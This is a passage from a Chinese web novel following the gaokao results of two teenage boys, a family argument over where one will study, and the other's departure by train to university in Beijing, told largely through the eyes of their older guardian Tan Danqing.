她觉得谈小白这次可能真要走大运了。谈小白最吃力的最怕的一门英语难度低,成绩好的和成绩差的拉不开差距;他最优势的数学难度高,一下就把同学甩开了。 谈丹青没开口跟任何人说,怕好的不灵坏的灵。 下午就是最后一场,大家的心情更放松。考到现在,考得好的,基本已经稳了,而考得不好的,也就破罐子破摔。 进考场时,谈小白碰到了其他几位同学,几人约定考着一起去吃饭。 谈丹青目送着谈小白和绪东阳进考场,谈小白倏地没了影,绪东阳却突然又折了回来。 看着绪东阳往回走,谈丹青瞬间心提到了嗓子眼。高考这两天,新闻天天都在报道考生临考前忘带身份证、准考证的事。 她突然担心绪东阳是不是也落下了什么东西。 按理说,绪东阳并不是这种毛毛躁躁的迷糊性子。 “怎么了?”谈丹青降下车窗,忧心忡忡地问:“是忘带什么了吗?” “都带了。”绪东阳在车窗外半躬下.身,手臂扶在她窗边。 “再检查一遍。”谈丹青说,“刚看着你过来,我左眼皮直跳。” 绪东阳便拿出装着准考证和身份证的透明文件夹给她看,“你看,都带着的。” 谈丹青这才彻底松了口气,她乜了绪东阳一眼,又看了看表,还有三十来分钟,说:“那还不进去。” “来得及,”绪东阳镇定自若,问她:“今天晚上考完,大家打算去唱歌,你去吗?” “我?”谈丹青有些好笑,说:“你们一帮同学一起去玩呗,我到时候去了,你们也放不开。你们打算订哪儿?我给你们定包厢。” “不用,”绪东阳说:“我到时候过去订。” “也行,”谈丹青嘱咐:“最后一天,晚上闹起来喝酒,别喝太多了啊。” “知道的。” “快进去快进去。”谈丹青催了又催。 “好。”绪东阳回身往考场走。 看着金色晨光里,绪东阳越走越远的背影,谈丹青心中涌出一丝小小的失落。 这俩小孩儿上大学后,肯定是要从这个家里搬出去。以后她回家,就再也看不到这两只猕猴桃似的脑袋,心情不好,也无人可骂。 这种情绪网上有一个专有名词,叫“空巢老人”,特指家里小孩全部离开家上大学的父母。谈丹青虽不是谈小白的爹妈,但在情绪上都是共通的。 这种隐蔽的失落很快就被打消了,比起将他们没出息地留在这儿,她还是更希望看着他们飞得更高、更远一点,即便这可能意味着,他们再也不会回来。 最后一门考完就解放了,谈丹青送考完便不管绪东阳和谈小白了,开车回公司去*。 她给公司家里有高考生的员工放了半天假,公司里今天还在岗的员工不算多。 等忙完,她跟郑芳约在常去的韩式烤肉店吃饭。 铜质烤盘上滋滋作响的五花肉泛着油光,冷气从头顶的空调口簌簌落下。 “现在俩小混蛋终于考完了,”谈丹青夹起一片烤得焦黄的牛舌,呼呼吹气。 郑芳举起冰镇果汁,“是啊,终于解脱了!干杯干杯。” 茶杯撞在一起,两人不约而同舒了口气。 “现在考完了,后面应该就再没什么事了吧?”郑芳翻动着烤盘上的香菇。 “等出分,填志愿,”谈丹青说:“然后就拿着录取通知书去学校报道了。” 郑芳顺势问:“那……绪东阳后面就要走了吧?” “是,”谈丹青筷子在烤盘上顿了顿,然后夹了一块牛肉片放进蘸料里,“他成绩很好,后面要么去北京要么去上海,再看吧。” “他走了倒也好,”郑芳瞥了眼谈丹青的神色,说:“总在你眼皮前晃,也不是个事。” 谈丹青抿了口果汁,没说什么。 “你上次那个小代练呢?”她她转开话题,问,“现在发展得怎么样?” “哼,换了!”郑芳说。 “这次这么快?”谈丹青有些诧异。 “这个年龄的小孩儿,心定不下来的。”郑芳已然看破红尘,如入定高僧。 谈丹青笑笑,继续吃肉。 这口肉好像咬到了花椒,舌尖传来一阵阵麻意。 谈丹青与郑芳道别后走向停车场。 夜风裹着柏油路面的余温扑面而来,手机在包里突然震动。 “喂?”她划开接听键,是绪东阳。 电话那头还没听见绪东阳的声音,就传来谈小白的又哭又叫,“姐,姐!”他抢走绪东阳的手机,对着话筒大喊:“姐,姐,我终于考完了,我终于,我终于……”他打了个酒嗝,没声了。 “地址发我。”谈丹青说,“我马上过来。” 清吧藏在商业街背面,沿途看见三三两两穿着校服的学生,有人红着眼睛拥抱,有人举着啤酒瓶大笑。 开车到谈小白他们玩的清吧,就看见谈小白白四仰八叉瘫倒在沙发上呼呼大睡。 “这是喝了多少?臭死了。”她一靠近谈小白,立刻就在鼻尖前挥了挥。 绪东阳弯腰架起谈小白,说:“我把他扛车上。” “好。”谈小白这个体格,也只有绪东阳能抗得动。他过去将谈小白提起来,就听见谈小白一会儿哭一会儿笑,梦呓似的说些胡言乱语。 谈丹青说:“算了算了,他这样到车上,肯定要吐我一车。我刚洗的车。这里卫生间在哪儿?” “左手边。”绪东阳带她过去。 谈丹青从包里拆了一盒纸巾,像小时候那样给他擦脸,谈小白将头埋在她膝上,断断续续地说:“姐,姐……” “在这儿,叫魂呢叫。”谈丹青没好气地说,“到底怎么回事?” 绪东阳说:“可能是太高兴了,喝了两瓶。” “我天,两瓶就这样?我弟弟不可能这么弱鸡。” “姐,姐……我长大了。” 谈丹青说:“你长大个屁,你要真长大了,还吐我鞋上?” 谈小白什么也没听见,像小孩子抱着她的膝盖,轻声哼着:“我终于,终于不用再拽着你了……” 谈丹青怔在了原处,胸口发紧,她没有想到,长久以来,谈小白竟是这么想的。 她知道下面这些话,谈小白不会听见,但也正因为如此,她今晚才愿意说出来。 “你没有拽着我,”谈丹青拨了拨谈小白遮住眼睛的碎发,柔声说:“你是我的气球,每次我觉得快要沉下去的时候,都是你拖着我往上飘。我俩之间,再也不必说这些。” 绪东阳站在谈丹青身后半步,没有靠近,也没有说话,目光低垂,落在谈丹青的脖颈上,像一道沉默着守护他们的影子。 等她直起身,他伸手虚扶了一下她的肘,随即收回。 “我来。”他弯腰,将谈小白背起,送进车里。 34 第34章 ◎612◎ 高考成绩出来当天一大早,何薇的电话就打了进来:“查分了没?!” 谈小白还蜷在被窝里,迷迷糊糊应道:“啊,什么?查分啊?” “你这何止是钻石心脏,”何薇气笑了,说:“简直是金刚钻心脏。” 谈小白这才一个鲤鱼打挺从床上弹跳起来,趿拉上拖鞋就往客厅冲:“绪东阳,绪东阳你查分了吗?” 早上八点不到,绪东阳已经从外面跑步回来。 一身黑色卫衣干净利落,发稍上挂了点汗珠。 高考都考完了,他还是这副德行:从不睡懒觉,到点起床长跑。长跑完,就在路边顺手买回家早饭。 “叫这么大声做什么?”绪东阳将小馄饨、油条、豆浆和蛋酒摆桌上,皱着眉说:“你姐还没醒。” “靠,一手掌的汗。”谈小白一屁股在桌前坐好,一边吸着豆浆,一边往手机上输准考证号。 绪东阳去卫生间冲了个澡,换了身干爽的衣服出来,气定神闲地喝豆浆。 “你是不是已经帮我查了啊?”谈小白紧张得上下牙打架,对绪东阳镇定自若的反应抱有怀疑。 “是。”绪东阳直截了当地回答。 “啊???草,那你还不直接告诉我啊!”谈小白抱怨。 “不能破坏你的仪式感。”绪东阳有理有据地说。 谈小白瞪着手机上正忙的网页,“我登都登不进去,要啥仪式感?” 这时谈丹青从屋里出来,她打了个哈欠,还带着睡意,“开始查分了吗?” “对……”谈小白点头。 “怎么样?”谈丹青也捧着豆浆喝。绪东阳给她买的豆浆从来不加糖,喝起来口感醇厚。 查分的网页一直刷新不出来,谈小白急得抓耳挠腮,“怎么也刷不出来。” 见谈小白急成这幅模样,谈丹青难免于心不忍,开口道:“你也别太急,以后的路挺多的,现在学历越来越不值钱了。对了,我公司刚好有一个货车司机退休……” “登进去了登进去了!”谈小白突然将手机往桌上重重一拍,“612!612!姐,你那破鸡汤,咱不喝!” “612?”谈丹青急吼吼地站起来,差点崴了脚,“你别看错了!” 绪东阳在她身侧温声说,“是真的,我已经查过一次了。” 612。 612!!! 谈小白学生生涯里的巅峰。 比他任何一次模拟考的成绩都要好。 甚至如果是明年再来,谈小白也不一定能考出这个成绩。 这个结果就跟谈丹青所猜想的一样,谈小白走狗屎运了。 刚好他最擅长的两门,数学和理综难度较高,他拿下高分轻轻松松。 语文和英语这两门他发挥不稳定,要靠“碰运气”,这次就属于,“碰”得好,“碰”到了难度低的情况。 看了一遍又一遍屏幕上那闪闪发光的数字,谈丹青还处于不太敢相信的状态。 大概这就属于祖坟冒青烟?但她和谈小白都是没人要的小孩,姓了个谈,但谈家坟头到底在哪儿她也不知道。 “感谢文殊菩萨的保佑……”她双手合十,感叹了好半天。 “绪东阳,你呢?”知道谈小白的分数后,谈丹青立马扭头问绪东阳。 “被屏蔽了。”绪东阳淡然地回答。 “屏蔽?!”谈丹青惊慌失措。 绪东阳解释:“我问了何老师,高考排名全省前50不显示。” “我的妈呀!服了,服了!”谈小白两手抱拳,“阳哥还是你阳哥,你也太太太太能沉得住气了啊!你是怎么知道自己的分数后,还能出门跑圈的啊!!” 绪东阳性子沉稳得可怕,他继续慢条斯理地吃早饭,说:“分数只是结果,但跑圈是早就计划好的。” 谈小白:“6……” “可以啊,可以啊!”语言已经表达不出来谈丹青的兴奋,她复读机似的重复了两遍,突然桌子一拍,说:“我这房价要涨了。” “啊?” “我这可是出文曲星的房子啊!风水好,怎么也得涨个十七八万。”谈丹青乐不可支,已经在幻想里数钱。 绪东阳的具体分数没出来,但他现有的分数段,填报志愿也不算难。清北前两年在H省招生最低位次都在85左右,所以绪东阳的分数想去这两所中国最高等学府基本上已是板上钉钉。 绪东阳跟何薇打电话报了喜,何薇高兴得都哽咽了。她是刚工作的年轻教师,没人看好她,竟然在教学生涯的第一年,就教出了全省前50名,清北生,其他同事都戏称,说她是教书圣体。 甚至隔壁邻居吴婶,听说绪东阳考了前50,都抱着小胖孙儿来沾福气。 “妹妹呀,”吴婶说:“今年的省状元,是你家里那个?” 谈丹青乐了,笑盈盈地说:“不是省状元,是全省前50。” “嚯,”吴婶说:“这不差不多么?” 在他们眼里,全省前50,就已经是“状元”了,是文曲星下凡,会念书的娃娃。 正跟谈丹青取着经,这时绪东阳拎着垃圾袋出来,吴婶眼睛一亮,立马把她家的小胖孙塞进了绪东阳怀里,“状元哥哥抱,状元哥哥抱!” 绪东阳拎着垃圾袋的手里,突然塞进了一个肉乎乎的小孩儿,顿时瞳孔震惊。 他就没怎么抱过小孩儿。 绪北远小时候身体不好,跟他也不亲。 谈丹青忍不住笑出声来。 绪东阳狐疑地望向她。 谈丹青看热闹不嫌事大地说:“吴婶想要你陪小孩儿玩呢。” 绪东阳浑身僵硬地抱着这个肉团子,手臂像两根笔直的钢筋,生怕碰坏了这软乎乎的小生命。孩子在他怀里扭动,口水蹭在他的黑色卫衣上,留下一道亮晶晶的痕迹。 "状元哥哥,叫哥哥!"吴婶在一旁起哄,眼睛笑成两条缝。 绪东阳小心翼翼地调整姿势,眉头微蹙,像是捧着什么下一秒就会爆炸的定时炸弹。孩子突然伸手抓住他额前的碎发,用力一拽…… "嘶"他倒抽一口冷气,却不敢用力挣脱,只能微微偏头,露出罕见的狼狈表情。 谈丹青靠在门框上,憋笑憋得肩膀直抖。 绪东阳闻声抬头,黑曜石般的眸子直直望过来,阳光在他睫毛上跳跃,眼底闪过一丝罕见的窘迫,又带着几分纵容的无奈。 谈丹青被抓了个正着,趁吴婶转身的功夫,一溜烟跑进了屋。 * 三天后,绪东阳的成绩屏蔽期结束,总分698。 今年省状元是702,差了4分,但也足以让绪东阳身边的所有人以他为骄傲。 本地几家新闻官媒和自媒体想办法联系到绪东阳,想请他做个采访宣传一下,绪东阳对这种事一点兴趣都没有,都推掉了。 但何薇请他去一中跟下一届学弟学妹们做个小分享,传授一下学习经验,他却一句推脱的话都没说,不假思索地就答应下来。 分数出来后的这几天,除了要报志愿,再没别的什么事。绪东阳和谈小白便在谈丹青公司兼职当苦力,每天帮忙收货发货赚点零花钱。 这天谈丹青突然接到了何薇的电话,“小白的成绩,留在江城还是可惜了啊。” “江城?谁要留在江城?”听到这话时谈丹青正在仓库清点库存,她懵了一下,夹着电话出来, “你……还不知道么?”何薇诧异道:“我还以为,这是你们商量后的结果。” “何老师,小白怎么跟你说的?” 何薇说:“小白的分数,去江城两所985确实有点悬,但他如果能接受离家出省,像厦门大学、重庆大学,也都是很不错的选择。可他似乎不想离家太远,说怕家里没人照顾,所以只考虑从剩下几所211高校中选王牌专业。” 谈丹青听完只觉得一股怒火直冲天灵盖,她捏了捏眉心,说:“好,何老师,我待会儿打给你。” 挂了电话,她立马将胡小样叫了进来,“谈小白人呢?叫他给我滚过来,就现在。” 不一会儿谈小白和绪东阳一起进来,谈小白取下手套,在腿上拍了拍清灰,露出一排小白牙,笑嘻嘻地问她:“姐,砸了?” “你还好意思问?谈小白你还好意思问?”谈丹青上来就拧他耳朵。 “疼疼疼,疼啊姐!”谈小白龇牙咧嘴,绕着桌子到处跑。他脚上的固定架已经取了,走起路来健步如飞。 谈丹青情绪太激动,绪东阳在中间周旋了一下,将她拦了下来。 “别喊我姐,我看你是我姐!”谈丹青隔着绪东阳冲谈小白砸铅笔:“你们何老师跟我说,你非要留在江城,你有病啊谈小白?你是不是有病?还是吃多了吃撑了?” 一弄明白原来是这事,谈小白也不叫疼了。他停了下来,仍由谈丹青扯他耳朵,掐他揪他,也不为所动。“姐,这事儿我早想好了,不管我考多少分,我都要留在这里。我还得照顾你啊。” “我要你照顾?我要你照顾个屁!”谈丹青大骂:“我是没手还是没脚?我要你照顾?” “那我不在这儿,你晚上出去多喝酒了怎么办?生病了怎么办?有人欺负你怎么办?”谈小白理直气壮地大声喊了回去。 “你就不能盼我点好?”谈丹青气得胸口剧烈起伏,抄起手边的文件夹就往谈小白身上砸去。 谈小白不躲不闪,文件夹"啪"地打在他肩膀上又弹开。他梗着脖子,像头倔强的小兽,“反正我早就想好了,我不走,打死我我也不走,我就在你公司待着,你缺什么我帮你做什么!” 谈丹青不可思议,即便绪东阳挡的中间将她揽着,她也好几次隔空打到了谈小白好几次,“你碰瓷啊你?还赖上我了是不是?你赖我这儿多少年了?还想赖?你想待在我公司,我公司就留你啊?你当我公司是什么地方?神经病收留中心?” “不,我就不!”谈小白从小就是只最好捏的软柿子。他很听谈丹青的话,她说什么就是什么。可这软耳朵根子,在今天突然就支棱了起来,像倔强的鬼火少年,跟她不死不休。 谈丹青气得脑门嗡嗡响,她深吸口气,指着办公室门,说:“滚,滚滚滚,都给我滚。” * 一整天,谈丹青和谈小白都没说一句话。 谈小白一直关门躲在自己的房间里,吃饭也不出来。 绪东阳敲了门,谈小白没好气地说:“不开!” “是我。”绪东阳说。 “你我也不开!” 紧接着,门外传来撬门声。 下一秒,绪东阳已经走了进来。 他拖了一张椅子到谈小白面前,“聊聊?” 35 第35章 ◎北京,北京!◎ 绪东阳轻而易举就破门而入,谈小白不可思议地瞪着他,半晌从牙缝里挤出一句:“我靠,你还会撬锁?” “上网查了教程。” “现查啊……” 绪东阳将椅子反放,两手交叠放在椅背边沿,指尖叩了叩,说:“你怎么回事儿?” 谈小白立刻像被烫到似的扭过脸,声音带着刺:“我不想跟你说这些。” “试试看。” “我跟你又不一样,”谈小白攥着拳:“你在这儿没什么牵挂,又没放不下的人……” “相信我,”绪东阳眼睛漆黑,每当他在灯下微微侧首,那双眼便流淌过一层冷冽的流光,“我比任何人,都理解你现在的感受。” 谈小白被绪东阳沉静地状态怔住,但他压根不相信绪东阳这番话。他固执地认为,绪东阳之所以这么说,只是想假装和他共情,好给接下来为谈丹青当说客做铺垫。 “你怎么可能理解得了?”他激动地抬高声音,“你在我家才住了几天?装什么感同身受?” 绪东阳只是微微抬了下眉毛,“你说得对。我是比不了你们的感情。” 绪东阳没逼着谈小白敞开心扉,但他冷静地坐在他对面,不插手他的命运和决定,但愿意聆听他想法的态度,还是让谈小白有所软化。 谈小白闷了好一会儿,开口道:“就我姐这个人,她只知道为别人着想,完全不顾自己。她有时候要去谈生意,喝酒好晚才能回来,甚至生理期都得出去喝酒,受不了了就吞止痛片,我在这儿,我还能看着她,我不在怎么办?我真怕,我真的怕……我走了,我姐就被人欺负了,我在那么远的地方,我赶都赶不回来怎么办!” 绪东阳安静地靠坐在原处,等谈小白完全发泄完,才缓缓开口,“就算如此,你也不能让你姐背负你的命运,她担不起这么大的责任。” “绪东阳,你这话是什么意思?”谈小白通红的眼眶燃着怒火,“我是为了我姐好!” 谈小白情绪激动到了顶点,但绪东阳仍是冷静如湖。那双黑曜石般的眼睛平静地注视着他,既不会因愤怒而沸腾,也不会因悲恸而泛起涟漪。所有的情绪,似乎都被封存在那平静的水面之下。 “你现在看来,这张志愿书只是一张纸,但其实不是,”绪东阳冷静地开口,每个字都像是经过深思熟虑后才缓缓吐出。 “但实际上它是你人生里的第一个巨大的决定,第一个锚点。你后面的人生如何,全都会从这个点上分裂。你现在不仅在选择你要去哪里读书,还在选择要去哪个城市,和什么样的人为伍,选择你未来会变成什么样子。这么重要的决定,你现在说,你是为了你姐,这难道不是强迫她承担你选择的后果吗?” “我没有这个意思!”谈小白大声反驳:“我今天做了这个决定,我就绝不后悔!绝不!” “你现在是这么说,”绪东阳冷声说:“那以后呢?你能保证你以后就一直这么顺?遇到坎的时候呢?没钱的时候呢?谈恋爱失败的时候呢?你敢保证,那个时候你一次都不会想,如果我当年没有为了谈丹青,放弃这个机会,那该多好?” “我不会!”谈小白吼得脖子发红,“我不会!” 绪东阳绪东阳连呼吸的节奏都没有变,他平静地看着谈小白,声音带着近乎残酷的理性,“可你姐会。她会。” 谈小白不可思议地望着绪东阳,他多想狠狠地辩驳回去,大喊“不会”,但这句话他说不出口,因为他知道,他姐姐谈丹青一定会,一定。因为她就是这种人,把所有人都想到了,唯独想不到自己。 他嘴唇颤抖着,几次张开又合上,像一只严重耗损的风箱。 房间里静了一瞬,夜色静谧。 就像他们无数个在这儿一起读书、学习的深夜。 “谈小白,”绪东阳望着他,但眼神的焦点,却似乎并没有聚焦在他的脸上,他仿佛在透过他去看另一个人,既是对谈小白说,也是对那个人在说: “你现在死皮赖脸地赖在这儿,这不叫本事。你要真有本事,那就出去飞一圈,然后……” 他顿了顿,重重地说:“再飞回来。” * 谈小白算是听进去了绪东阳的话,最后关头,将他的志愿改成了厦门大学,绪东阳按部就班地填了T大。他在法学和金融之间权衡,最后考虑到谈丹青公司法务力量非常薄弱,决定选法学。 剩下的时间,两人每天按部就班地一边打工一边等录取通知书。 等一切都尘埃落定,绪东阳忽然接到徐丽的电话。 看到徐丽的名字在手机屏幕上跳动闪烁时,绪东阳莫名涌起了一阵期待。他的高考成绩即便是最苛刻严格的父母也无可指摘,徐丽可能会改变对他的态度,可能会从对绪北远的照顾里分给他一瞥。 “东阳,”徐丽熟悉的声音从加拿大的海岸线传来。 “妈。”绪东阳清了清嗓子。 徐丽说:“分数出来了吧,698,这个成绩真是不错。你从小就聪明,在学习上,就没让我和你爸操过什么心。” “嗯。”绪东阳静静听着,握着手机的指尖收紧又松开。 就像那天徐丽终于开着车来乡下奶奶家接他时,他用手指搅着衣服兜帽垂下来的系带。 “东阳,”徐丽继续说:“北远的成绩就远不如你……” 绪东阳躁动着的心,在这一瞬间突然停下了那热烈的跳动。 “你是哥哥嘛,今年暑假你也没什么事,刚好来辅导一下北远的成绩,我给你买机……” 绪东阳怔了怔,愣着没有开口。 “东阳?”徐丽催促,“你是哥哥嘛。而且我们早就计划要带你来这边玩。” 一阵刺痛从心底蔓延开来,又是这样,绪东阳想,“我暑假很忙。”绪东阳语速飞快地打断,“先挂了。” “东阳……” 掐断徐丽的声音后,绪东阳将头抵在墙面上。他没有什么悲伤的感觉,更多的是一种懊悔。他懊悔自己为什么都到今天了,还对徐丽满怀期待。 他曾在书上读到过,动物行为学中,有一个概念叫“亲子排斥”或者“陌生幼崽排斥”,指的是当刚出生的幼崽离开母兽后,因沾染上陌生气味,会被母兽当做陌生幼崽,出于保护自己后代的本能,会排斥甚至攻击它。 人也是动物,徐丽对他的态度,其实和“陌生幼崽排斥”没什么区别。 他懊悔自己为什么明明知道其中原理,却还是破除不掉这种执念。 “绪东阳绪东阳,”他正感春悲秋,突然谈丹青在客厅大声叫他,“录取通知书!!!” 他的录取通知书寄到了。 厦大报道时间早,八月头就要过去,谈丹青和绪东阳一起去火车站送谈小白。 谈小白临上车,还在为谈丹青赶他走愤愤不平,他钻进车厢,扭头咬牙切齿地对谈丹青说:“你等着吧,我还会回来的!” 谈丹青觉得这句话听起来莫名耳熟。但一时实在想不起来,等谈小白的火车开远,她才忽地反应过来,这不是所有电视剧里的大反派,绝地反击前的经典台词…… 绪东阳报道的时间比谈小白晚了两天,到了出行日,谈丹青开车送他去火车站。 高铁系统内无购票信息的乘客无法进入候车室,于是谈丹青买了一张当天的短途票,打算等送绪东阳上车后再退掉。 火车站有许多前来送行的家长和学生,还有依依惜别的小情侣,整个现场氛围,就跟被泪水泡发过似的。 谈丹青也有点被现场的气氛感染,她心底再清楚不过,绪东阳一旦坐上这辆往北的火车,就什么都不同了。她很回避这种悲情的感觉,习惯性地表现自如无所谓,“来早了,还有四十分钟。” 正值客运高峰期,候车室座位紧俏,别说两个连在一起的空座,就是一个空位置空出来,立马就有人抢着坐下。 绪东阳眼尖看到一个空座,先用包占掉,然后让谈丹青坐下。 他俩也是运气好,谈丹青刚坐下,就有一列车到站检票,身旁的邻座立马提包起身,将位置空了出来。 绪东阳在她旁边坐下,他们两侧都是人,随身带着的行李也多。 谈丹青身旁的男人腿一张,就将谈丹青挤得没位置。于是她不得不往绪东阳的方向靠过去,和他挤在了一起。膝盖碰着膝盖,肩膀碰着肩膀,绪东阳的手搁在膝上,指尖和她的手背,只隔了一张纸的距离。 送谈小白的时候,谈小白闹腾,一张小嘴喇叭似的嘚吧嘚吧响,绝不会感到尴尬和沉默。 但绪东阳不一样,他不仅话少,和她之间还有些尴尬的插曲,两个人这么近的挨着坐着,总让她想到那天晚上在急诊室。 又一班列车入站,候车厅走了一拨人,位置总算宽松些。谈丹青也坐烦了,起身说,“你等我一下。” “好。” 她去车站超市转了一圈,绪东阳这一趟没带什么吃的,上了火车,再想买吃的更贵。 她拿了两桶白象方便面,一盒奶油小蛋糕,突然看到出口区在卖金灿灿的小橘子。她顿时笑了起来,觉得这事儿绝不能错过。 绪东阳留在原处等着谈丹青,他的正对面墙壁上高高悬挂着车站时钟,看着那一圈圈飞快滴滴答答转动的秒针,他的心口好像有什么东西在发酵。 飞快流逝的时间提醒着他,他马上就要看不到谈丹青了,这段梦一样抬头不见低头见的日子,真正要画上一个句号。他不知道未来会发生什么,他走后谈丹青的身旁会不会出现别的人。 他既恨这时间走得飞快,马上就将他们分离;可又恨这时间走得太慢,不能让这离开她求学的四年呼啸而过,让他好立刻回来。 “给你的。”这时,谈丹青递给他一只塑料袋。 比袋子里的东西,绪东阳先看到的是谈丹青嘴边噙着的点促狭的笑。 是恶作剧即将得逞前,藏也藏不住的,亮晶晶的笑。 绪东阳这才看那袋子,“砂糖橘?” 谈丹青噗嗤笑了起来,“哈哈哈哈!” 绪东阳知道她在笑什么。她在跟他玩梗。那篇朱自清的《背影》里,朱自清的父亲送朱自清坐火车,临走前给他买了一袋橘子。由此引申出来,谁送谁一提橘子,就是暗示谁在当谁爸爸,尤其他们现在就在火车站。 他的嘴角也翘了起来,压不住。 谈丹青拿了一只橘子,慢慢剥开皮,递给他,两人分食一只橘子。 “从W市去往北京的列车进站了。”随着喇叭通报声,周围的行人纷纷起身。 “要检票了,”谈丹青说。 “嗯。”绪东阳拎起行李。他走进人流里排队检票。谈丹青捏着那只橘子看着他验票。进站后,他立刻回头找她。她下意识往前走了一步,让自己从人流中站出来,好让他看到自己。他冲她点了点头,终于被人流裹挟着,消失不见。 * 车厢里人很多,人挤着人,“让一下让一下。” “注意脚下,大件行李请放在行李架上。” 绪东阳的位置临窗,坐下后,一名和他年纪相仿的女孩也坐下。“不好意思,可以帮我放一下行李吗?” 绪东阳点点头,帮女孩将行李放在头顶货架上。 “你力气好大!”那女孩说:“我这个行李箱非常重的。” “还好。”绪东阳坐了回去。 “你也是学生吗?去上学?”那女孩问。 “是。” “哪个学校的?”女孩主动自报家门:“我是北京舞院的。” “T大。”绪东阳说。 “我天,学神啊。”女孩的眼睛里闪烁起了星星。她继续跟他攀谈,但绪东阳觉得有些吵闹。 他看向车窗外,列车驶出车站,街景急速变化,从他熟悉的街景,不知不觉变化成绵延起伏的农田。 金色的麦穗被风吹起波浪,低矮下去的地方,垂着头的黑水牛咀嚼着草根。 他意识到自己真的要离开了,他的心里装了一些憧憬,想将这种感觉记住,然后等他回来了,告诉谈丹青。 车里人很吵闹,还有小孩儿在哭。这种环境很让人神经紧绷。绪东阳剥开谈丹青送给他的橘子,手指戳破果皮,清冽的汁水散发出橘子的芬芳,这股味道很好闻,驱散了车中浑浊的空气。 “你的橘子看起来好好吃,”邻座的女孩再次和他攀谈起来,“可以分我一个吗?” “不了。”绪东阳直截了当地说。 那女孩儿脸立刻白了白,“好吧……”她干巴巴地说。她忍了半晌,实在忍不下去,在她的朋友群里吐槽:“今天火车上碰到了个极品帅哥。” “!!!” “有多帅?” “巨巨巨巨帅……”女孩偷拍了绪东阳戴着兜帽的侧脸。他闭着眼睛,帽檐在眼皮上投下暗色的阴影,他额头抵着车窗,两条手臂抱在胸前。车内棱形的灯光,加重了他优越的鼻梁和颌骨。 “我去……这次没玩我们,这次是真的帅。” “真的超级帅,帅晕了……他还单手帮我放行李,单手啊。” “看他手臂线条,就知道肯定是有健身习惯的。” “他还是H大的。” “!!!这太极品了,这还不冲?” “我本来也当场爱上的,但是……” “有但是?” “但是他是个极品抠男!”女孩儿惋惜地跟朋友们吐槽,“他拎了好大一袋砂糖橘上车,我想吃一个,他直接说不行。” “啊???这太下头了。” “不就是个橘子……抠男万万不可。” “抠男万万不可。” 绪东阳并不知道也不在意身旁女孩对他感觉的一个天上一个地下的变化。四小时,火车进站。他拎着行李下车。 从火车站出来的那一刻,一股巨大的陌生感铺天盖地席卷而来。 他的双脚站在他热爱的繁荣昌盛祖国最中心的地方,品尝到的却是砂糖橘在舌尖留下的余甜。 36 第36章 ◎我好想你◎ 下火车后,绪东阳坐地铁去学校报道。 正值早高峰,地铁站人生人海,他如一叶扁舟,随着拥挤的人流通过地下通道,安检,最后挤上了站台。 一路走,一路跟谈丹青聊天,他将北京地铁站的盛况拍下来发了过去。 tdq:【大城市啊!到了要好好照顾自己啊。】 过了一会儿,她补充了一句:【有空找你玩。】 “有空”往往是个托词,绪东阳不太相信谈丹青真会过来。 再发出消息,没有收到谈丹青的回复。 她最近忙着要去广东,多半没看到。 绪东阳将手机抄进口袋,校门口有学姐学长和志愿者指引报道手续。 在各类表单上登记好个人信息后,领到了校园卡、宿舍钥匙。 绪东阳分到的宿舍在四楼,墙面上有绿色海波般的爬山虎。楼房老旧,水泥台阶被踩得光滑。宿舍是四人标准间,上床下桌,有卫生间。 到学校第一天,绪东阳和几位室友一起聚了餐。 宿舍四人,三个都拿过奥数竞赛奖,还有一个是保送生。 在江城,他或许是最优秀的。 但在北京,在T大,像他这样的人,*一个宿舍可能就有四个。 政治书上说,北京是中国的政治中心、文化中心、经济中心、国际交往中心和科技创新中心。 这句每个中国学生都知道的话,唯有乘坐列车抵达这里,才能真正体会其中的分量。 全国,乃至全世界最优秀的人才,虹吸效应一般全部聚集在这里,犹如过江之鲫。 第一周的冲击最为剧烈,犹如迎面一记勾拳。 摸底考试结束后,再心高气傲的学生,都被打压得心灰意冷。一群各省各市的状元,开始认真怀疑自己是不是个傻逼。 绪东阳向来不是非争第一不可的人,他能坦然接受自己的能力,并保持在一个上游的水平里。 以往这种维系并不费力。可在这里,他却需要付出了比以往多无数倍的努力,最后得到的结果却像在沙漠里钻一口井。 除此之外,一股强烈的压迫感从一入校就如影随形。室友和同学不再像高中纯粹简单,大家都在暗暗较着劲儿。 室友最关心的,永远是绩点多少,参加了什么社团活动,在图书馆、实验室泡到了几点。 如果其他人学了十多个小时,而自己只学了十小时不到,就会陷入严重焦虑和内耗中,进而灾难化预想,自己会不会挂科,拿不到毕业证,最后狼狈不堪地饿死街头。 到了第二周,绪东阳已经收拾好这些无用的负面情绪,一头扎进了奔腾的浪潮里。 他加入学生会,拳击社团,成功竞选班长,第一次小组作业就拿到了总分第一。 专业课教授开始记住他的名字,周围的同学不知什么时候,也开始叫他“绪哥”或者“阳哥”。 男生之间叫“哥”从来不是因为谁的年纪大,而是因为服谁。 他终于能再次自如地操纵自己的船支,待一切都步上了正规,再次将他吞没的,是谈丹青。 凌晨两点,浓黑的夜色笼罩着T园,没有一个室友入睡,所有人都悄无声息的对着屏幕敲键盘。 他躺在上铺的床上,闭着眼睛,谈丹青就会出现在了他的脑海里。 曾经每天晚上一回到家,就能看见谈丹青,甚至被她骂一句“小土狗”,是一件多么宝贵的事。 他在夜色里摸出谈丹青送给他的平安符。 小小的黄色三角,系了一根开过光的红绳。 这个小东西,微弱地联系着他们的过去。 每当这个时候,他就只剩下一个念头:好想她,想得快要发疯。 * 去广东之前,谈丹青简单收拾了一下房间。 她推开绪东阳的房间进去,他屋内干干净净的。课本、教辅书和学习笔记,早就被下一届学弟学妹瓜分了。每天常用的健身器材,也整齐地归在了角落。 桌上有一只带锁但没扣锁的小盒子,里面留了一张卡。 她这才记起来,那是绪东阳给她买表的时候,她送给绪东阳的亲属卡。她了余额,里面的钱,这么久了,绪东阳分文未动。 柜子里的大部分衣服绪东阳都带去学校了,留了几件黑色运动卫衣。她就是不喜欢这种衣服,没忍住翻了个白眼。 有件卫衣比别的衣服鼓囊,她便多看了看,领口下,还有一件白色衬衣的领口。 她翻开领口,就看到卫衣下又裹了一件西装,顿时吓得花容失色。 绪东阳不会打算在卫衣下再穿一件西装吧??? 这打扮太可怕了…… 她立马拍了一张,打算发给绪东阳进行一番教育。 但点开聊天记录,她才后知后觉地发现,他们已经挺久没联系了。 上一条对话,还是绪东阳告诉她,他已经报道了,附带一张宿舍照片。 她当时看到了,在心里回复了一句:【你宿舍比谈小白的强多了。】 可那节骨眼上,她实在太忙,中途有人来找她,念头一打断,没有立刻回,后面也就忘了。 有的对话一旦停了下来,再续上就磕磕绊绊。谈丹青想了想,最后没发照片,就此搁浅。 * 